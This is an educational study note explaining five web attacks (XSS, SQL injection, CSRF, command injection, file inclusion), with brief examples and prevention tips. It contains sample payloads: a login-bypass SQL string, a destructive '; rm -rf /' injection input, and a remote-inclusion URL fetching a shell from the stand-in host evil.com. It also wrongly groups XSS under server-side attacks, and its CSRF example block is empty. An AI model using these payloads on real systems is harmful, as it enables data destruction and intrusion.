

Server-Side Web Application Attacks

Web applications are the most common target for attackers because they process sensitive data (like login credentials, payments, etc.). **Server-side attacks** target the **backend** of a web application — i.e., where data is processed, stored, and managed — to gain unauthorized access or control.

1. Cross-Site Scripting (XSS)

Definition: Cross-Site Scripting (XSS) is a web security vulnerability that allows an attacker to inject **malicious scripts** (usually **JavaScript**) into webpages viewed by other users.

How It Works:

- A web page takes user input (like comments, forms, or search boxes) and displays it without proper validation.
- The attacker injects a malicious script.
- When another user visits the page, the script executes in their browser and can steal session cookies, passwords, or personal data.

Types of XSS:

1. **Stored XSS:** Malicious script is permanently stored on the server (e.g., in a comment section).
2. **Reflected XSS:** Script comes from a malicious link and is executed immediately when clicked.
3. **DOM-Based XSS:** Script is executed by modifying the browser's Document Object Model (DOM).

Example:

```
<script>alert ('You have been hacked!');</script>
```

Prevention:

- Validate and sanitize all user inputs.
- Encode HTML output.

2. SQL Injection (SQLi)

Definition: SQL Injection is an attack where an attacker injects **malicious SQL queries** into input fields to manipulate or access the database.

How It Works:

- The application takes user input directly in an SQL query without validation.
- Attacker inserts harmful SQL commands to read, modify, or delete database records.

Example: Input: ' OR '1'='1

If a query looks like: SELECT * FROM users WHERE username = 'admin' AND password = ' ';

It becomes: SELECT * FROM users WHERE username = 'admin' OR '1'='1';

Always true → attacker logs in without password!

Consequences:

- Data theft or deletion.
- Unauthorized admin access.
- Full database compromise.

Prevention:

- Use **Prepared Statements** or **Parameterized Queries**.
- Validate and sanitize user input.
- Avoid displaying detailed database error messages.

3. Cross-Site Request Forgery (CSRF)

Definition: CSRF (also known as *Session Riding*) tricks an authenticated user into performing unwanted actions on a web application where they are logged in.

How It Works:

1. The user logs into a site (like a bank website) and their session is active.
2. Attacker sends the user a malicious link (via email or another site).
3. When clicked, the link performs an unwanted action (like transferring money) using the victim's session.

Example:

```

```

When user loads this image (while logged in), money is transferred without their consent.

Consequences:

- Unauthorized transactions.
- Account modifications.
- Changing passwords or emails.

Prevention:

- Use **CSRF tokens** in forms.
- Verify HTTP referrer headers.
- Require **re-authentication** for sensitive actions.

4. Command Injection

Definition: Attackers inject operating system commands into input fields that the server executes.

Example:

Input: `; rm -rf /`

This command could delete all files from the server if not validated properly.

Prevention:

- Never execute system commands using unsanitized input.
- Run applications with **least privilege** permissions.

5. File Inclusion Attacks

Definition: Attackers exploit web apps that dynamically include files using user input.

There are two main types:

- **Local File Inclusion (LFI):** Includes local files from the server.
- **Remote File Inclusion (RFI):** Loads external (remote) files from another server.

Example:


```
include($_GET["page"]); // dangerous
```

Attacker inputs:

```
?page=http://evil.com/shell.txt
```

Prevention:

- Disable remote file inclusion in server settings.
- Use whitelists for file inclusion.

